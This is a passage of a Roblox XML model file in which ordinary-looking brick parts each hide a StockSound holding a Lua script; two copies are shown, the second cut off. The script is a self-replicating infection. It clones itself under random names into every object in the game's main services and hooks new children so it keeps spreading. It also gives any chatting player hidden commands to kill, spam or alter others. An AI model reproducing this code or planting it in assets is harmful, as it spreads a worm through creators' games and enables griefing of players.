							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">1</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P5</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00204339111</X>
							<Y>0.00586070353</Y>
							<Z>0.0022946524</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX572">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">fu26</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX573">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">53nt</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX574">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8.89591694</X>
							<Y>0.888641894</Y>
							<Z>189.554123</Z>
							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">1</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P6</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00189687475</X>
							<Y>0.00127422856</Y>
							<Z>0.00181639474</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX575">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">qk890vje</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX576">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">vrmir</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
